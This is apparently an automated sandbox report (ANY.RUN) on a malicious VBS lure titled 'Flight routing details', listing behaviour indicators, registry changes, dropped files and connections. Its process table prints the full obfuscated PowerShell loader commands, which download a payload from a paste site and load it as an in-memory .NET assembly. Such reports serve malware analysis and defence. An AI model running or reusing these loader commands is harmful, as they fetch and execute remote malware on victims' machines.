File name:

Flight routing details..vbs

Full analysis: https://app.any.run/tasks/072fc88d-cfb3-4ef6-9159-d564d7221a6c
Verdict: Malicious activity
Analysis date: February 05, 2024, 11:51:34
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: text/plain
File info: Little-endian UTF-16 Unicode text, with very long lines, with CRLF line terminators
MD5:

389BA0BA6A47C7EC0A5DDBE6053E0B42

SHA1:

B0E06D65427C25AFBBAB0B114A86DF659979979B

SHA256:

786796372BF08A3C91B18395EE96AD57F7736792A7C4B7FC8A6F457888EAEC6D

SSDEEP:

48:VNWCq8G8hUU9X5nt5b/d/44ib4M12UUYl/4iRSLUKdNZ8Z5BMdKK7L6Rb4w45NPH:vM85fmSRdzL6ez33RgND5zHR/09td

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    No malicious indicators.

  • SUSPICIOUS

    • Gets full path of the running script (SCRIPT)

      • wscript.exe (PID: 1652)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 1652)

    • Probably obfuscated PowerShell command line is found

      • wscript.exe (PID: 1652)
      • powershell.exe (PID: 3988)

    • Reads the Internet Settings

      • wscript.exe (PID: 1652)
      • powershell.exe (PID: 668)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 1652)
      • powershell.exe (PID: 3988)

    • Application launched itself

      • powershell.exe (PID: 3988)

    • Probably download files using WebClient

      • powershell.exe (PID: 3988)

    • The Powershell connects to the Internet

      • powershell.exe (PID: 668)

    • Unusual connection from system programs

      • powershell.exe (PID: 668)

  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.txt | Text - UTF-16 (LE) encoded (49.9)
.bas | Nevada BASIC tokenized source (25)
.mp3 | MP3 audio (24.9)
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
39
Monitored processes
3
Malicious processes
1
Suspicious processes
2

Behavior graph

Click at the process to see the details
start wscript.exe no specs powershell.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
668"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Ycjuh;$uywRR = (New-Object Net.WebClient);$uywRR.Encoding = [System.Text.Encoding]::UTF8;$Ycjuh = $uywRR.DownloadString('https://pt.textbin.net/download/igvxdijw4q');$uywRR = $uywRR.DownloadString($Ycjuh);$xanppp = 'C:\Users\admin\AppData\Local\Temp\Flight routing details..vbs';[Byte[]] $qXfup = [System.Convert]::FromBase64String( $uywRR.Replace('↓:↓', 'A') );[System.AppDomain]::CurrentDomain.Load( $qXfup ).GetType('ClassLibrary3.Class1').GetMethod('prFVI').Invoke($null, [object[]] ('y2mdayhl9l/daolnwod/ten.nibtxet//:sptth' , $xanppp , 'true1' ) )"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
1652"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Flight routing details..vbs"C:\Windows\System32\wscript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3988"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $jqoAy = 'J✱▀▁BZ✱▀▁GM✱▀▁agB1✱▀▁Gg✱▀▁Ow✱▀▁k✱▀▁HU✱▀▁eQB3✱▀▁FI✱▀▁Ug✱▀▁g✱▀▁D0✱▀▁I✱▀▁✱▀▁o✱▀▁E4✱▀▁ZQB3✱▀▁C0✱▀▁TwBi✱▀▁Go✱▀▁ZQBj✱▀▁HQ✱▀▁I✱▀▁BO✱▀▁GU✱▀▁d✱▀▁✱▀▁u✱▀▁Fc✱▀▁ZQBi✱▀▁EM✱▀▁b✱▀▁Bp✱▀▁GU✱▀▁bgB0✱▀▁Ck✱▀▁Ow✱▀▁k✱▀▁HU✱▀▁eQB3✱▀▁FI✱▀▁Ug✱▀▁u✱▀▁EU✱▀▁bgBj✱▀▁G8✱▀▁Z✱▀▁Bp✱▀▁G4✱▀▁Zw✱▀▁g✱▀▁D0✱▀▁I✱▀▁Bb✱▀▁FM✱▀▁eQBz✱▀▁HQ✱▀▁ZQBt✱▀▁C4✱▀▁V✱▀▁Bl✱▀▁Hg✱▀▁d✱▀▁✱▀▁u✱▀▁EU✱▀▁bgBj✱▀▁G8✱▀▁Z✱▀▁Bp✱▀▁G4✱▀▁ZwBd✱▀▁Do✱▀▁OgBV✱▀▁FQ✱▀▁Rg✱▀▁4✱▀▁Ds✱▀▁J✱▀▁BZ✱▀▁GM✱▀▁agB1✱▀▁Gg✱▀▁I✱▀▁✱▀▁9✱▀▁C✱▀▁✱▀▁J✱▀▁B1✱▀▁Hk✱▀▁dwBS✱▀▁FI✱▀▁LgBE✱▀▁G8✱▀▁dwBu✱▀▁Gw✱▀▁bwBh✱▀▁GQ✱▀▁UwB0✱▀▁HI✱▀▁aQBu✱▀▁Gc✱▀▁K✱▀▁✱▀▁n✱▀▁Gg✱▀▁d✱▀▁B0✱▀▁H✱▀▁✱▀▁cw✱▀▁6✱▀▁C8✱▀▁LwBw✱▀▁HQ✱▀▁LgB0✱▀▁GU✱▀▁e✱▀▁B0✱▀▁GI✱▀▁aQBu✱▀▁C4✱▀▁bgBl✱▀▁HQ✱▀▁LwBk✱▀▁G8✱▀▁dwBu✱▀▁Gw✱▀▁bwBh✱▀▁GQ✱▀▁LwBp✱▀▁Gc✱▀▁dgB4✱▀▁GQ✱▀▁aQBq✱▀▁Hc✱▀▁N✱▀▁Bx✱▀▁Cc✱▀▁KQ✱▀▁7✱▀▁CQ✱▀▁dQB5✱▀▁Hc✱▀▁UgBS✱▀▁C✱▀▁✱▀▁PQ✱▀▁g✱▀▁CQ✱▀▁dQB5✱▀▁Hc✱▀▁UgBS✱▀▁C4✱▀▁R✱▀▁Bv✱▀▁Hc✱▀▁bgBs✱▀▁G8✱▀▁YQBk✱▀▁FM✱▀▁d✱▀▁By✱▀▁Gk✱▀▁bgBn✱▀▁Cg✱▀▁J✱▀▁BZ✱▀▁GM✱▀▁agB1✱▀▁Gg✱▀▁KQ✱▀▁7✱▀▁CQ✱▀▁e✱▀▁Bh✱▀▁G4✱▀▁c✱▀▁Bw✱▀▁H✱▀▁✱▀▁I✱▀▁✱▀▁9✱▀▁C✱▀▁✱▀▁Jw✱▀▁l✱▀▁E8✱▀▁cwBT✱▀▁G0✱▀▁Tw✱▀▁l✱▀▁Cc✱▀▁OwBb✱▀▁EI✱▀▁eQB0✱▀▁GU✱▀▁WwBd✱▀▁F0✱▀▁I✱▀▁✱▀▁k✱▀▁HE✱▀▁W✱▀▁Bm✱▀▁HU✱▀▁c✱▀▁✱▀▁g✱▀▁D0✱▀▁I✱▀▁Bb✱▀▁FM✱▀▁eQBz✱▀▁HQ✱▀▁ZQBt✱▀▁C4✱▀▁QwBv✱▀▁G4✱▀▁dgBl✱▀▁HI✱▀▁d✱▀▁Bd✱▀▁Do✱▀▁OgBG✱▀▁HI✱▀▁bwBt✱▀▁EI✱▀▁YQBz✱▀▁GU✱▀▁Ng✱▀▁0✱▀▁FM✱▀▁d✱▀▁By✱▀▁Gk✱▀▁bgBn✱▀▁Cg✱▀▁I✱▀▁✱▀▁k✱▀▁HU✱▀▁eQB3✱▀▁FI✱▀▁Ug✱▀▁u✱▀▁FI✱▀▁ZQBw✱▀▁Gw✱▀▁YQBj✱▀▁GU✱▀▁K✱▀▁✱▀▁n✱▀▁JMhOgCTISc✱▀▁L✱▀▁✱▀▁g✱▀▁Cc✱▀▁QQ✱▀▁n✱▀▁Ck✱▀▁I✱▀▁✱▀▁p✱▀▁Ds✱▀▁WwBT✱▀▁Hk✱▀▁cwB0✱▀▁GU✱▀▁bQ✱▀▁u✱▀▁EE✱▀▁c✱▀▁Bw✱▀▁EQ✱▀▁bwBt✱▀▁GE✱▀▁aQBu✱▀▁F0✱▀▁Og✱▀▁6✱▀▁EM✱▀▁dQBy✱▀▁HI✱▀▁ZQBu✱▀▁HQ✱▀▁R✱▀▁Bv✱▀▁G0✱▀▁YQBp✱▀▁G4✱▀▁LgBM✱▀▁G8✱▀▁YQBk✱▀▁Cg✱▀▁I✱▀▁✱▀▁k✱▀▁HE✱▀▁W✱▀▁Bm✱▀▁HU✱▀▁c✱▀▁✱▀▁g✱▀▁Ck✱▀▁LgBH✱▀▁GU✱▀▁d✱▀▁BU✱▀▁Hk✱▀▁c✱▀▁Bl✱▀▁Cg✱▀▁JwBD✱▀▁Gw✱▀▁YQBz✱▀▁HM✱▀▁T✱▀▁Bp✱▀▁GI✱▀▁cgBh✱▀▁HI✱▀▁eQ✱▀▁z✱▀▁C4✱▀▁QwBs✱▀▁GE✱▀▁cwBz✱▀▁DE✱▀▁Jw✱▀▁p✱▀▁C4✱▀▁RwBl✱▀▁HQ✱▀▁TQBl✱▀▁HQ✱▀▁a✱▀▁Bv✱▀▁GQ✱▀▁K✱▀▁✱▀▁n✱▀▁H✱▀▁✱▀▁cgBG✱▀▁FY✱▀▁SQ✱▀▁n✱▀▁Ck✱▀▁LgBJ✱▀▁G4✱▀▁dgBv✱▀▁Gs✱▀▁ZQ✱▀▁o✱▀▁CQ✱▀▁bgB1✱▀▁Gw✱▀▁b✱▀▁✱▀▁s✱▀▁C✱▀▁✱▀▁WwBv✱▀▁GI✱▀▁agBl✱▀▁GM✱▀▁d✱▀▁Bb✱▀▁F0✱▀▁XQ✱▀▁g✱▀▁Cg✱▀▁JwB5✱▀▁DI✱▀▁bQBk✱▀▁GE✱▀▁eQBo✱▀▁Gw✱▀▁OQBs✱▀▁C8✱▀▁Z✱▀▁Bh✱▀▁G8✱▀▁b✱▀▁Bu✱▀▁Hc✱▀▁bwBk✱▀▁C8✱▀▁d✱▀▁Bl✱▀▁G4✱▀▁LgBu✱▀▁Gk✱▀▁YgB0✱▀▁Hg✱▀▁ZQB0✱▀▁C8✱▀▁Lw✱▀▁6✱▀▁HM✱▀▁c✱▀▁B0✱▀▁HQ✱▀▁a✱▀▁✱▀▁n✱▀▁C✱▀▁✱▀▁L✱▀▁✱▀▁g✱▀▁CQ✱▀▁e✱▀▁Bh✱▀▁G4✱▀▁c✱▀▁Bw✱▀▁H✱▀▁✱▀▁I✱▀▁✱▀▁s✱▀▁C✱▀▁✱▀▁JwB0✱▀▁HI✱▀▁dQBl✱▀▁DE✱▀▁Jw✱▀▁g✱▀▁Ck✱▀▁I✱▀▁✱▀▁p✱▀▁✱▀▁==';$HEcFV = $jqoAy.replace('✱▀▁','A') ;$vJyte = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $HEcFV ) ).replace('%OsSmO%','C:\Users\admin\AppData\Local\Temp\Flight routing details..vbs');powershell $vJyteC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
5 493
Read events
5 471
Write events
22
Delete events
0

Modification events

(PID) Process:(1652) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(1652) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(1652) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(1652) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(668) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
Executable files
0
Suspicious files
9
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
3988powershell.exeC:\Users\admin\AppData\Local\Temp\5th1dldl.vg3.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
3988powershell.exeC:\Users\admin\AppData\Local\Temp\50nyor5l.wej.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
668powershell.exeC:\Users\admin\AppData\Local\Temp\iknwfbty.b52.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
668powershell.exeC:\Users\admin\AppData\Local\Temp\t4mydvsj.0fp.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
668powershell.exeC:\Users\admin\AppData\Local\Temp\Tar389A.tmpcat
MD5:9C0C641C06238516F27941AA1166D427
SHA256:4276AF3669A141A59388BC56A87F6614D9A9BDDDF560636C264219A7EB11256F
668powershell.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506compressed
MD5:AC05D27423A85ADC1622C714F2CB6184
SHA256:C6456E12E5E53287A547AF4103E0397CB9697E466CF75844312DC296D43D144D
668powershell.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506binary
MD5:1A79B3C209331A23C3A25EFD1B409993
SHA256:56D1EAD5BE5A46B3793A03B184A7314A7B28FD1BB3F99AD6FE9878D848B2DBFC
668powershell.exeC:\Users\admin\AppData\Local\Temp\Cab3899.tmpcompressed
MD5:AC05D27423A85ADC1622C714F2CB6184
SHA256:C6456E12E5E53287A547AF4103E0397CB9697E466CF75844312DC296D43D144D
668powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:6675EDE59684F4A119D2E5DA282AFBE6
SHA256:5026C5EE8FA9ACB21718BF1FAD563C0A3FD5BC79327611FDF9C4ABD2647CE829
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
6
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
668
powershell.exe
GET
200
93.184.221.240:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?3b8dc5b762afd5e1
unknown
compressed
65.2 Kb
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
668
powershell.exe
148.72.177.212:443
pt.textbin.net
AS-30083-GO-DADDY-COM-LLC
US
unknown
668
powershell.exe
93.184.221.240:80
ctldl.windowsupdate.com
EDGECAST
GB
whitelisted
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown

DNS requests

Domain
IP
Reputation
pt.textbin.net
  • 148.72.177.212
unknown
ctldl.windowsupdate.com
  • 93.184.221.240
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Flight routing details..vbs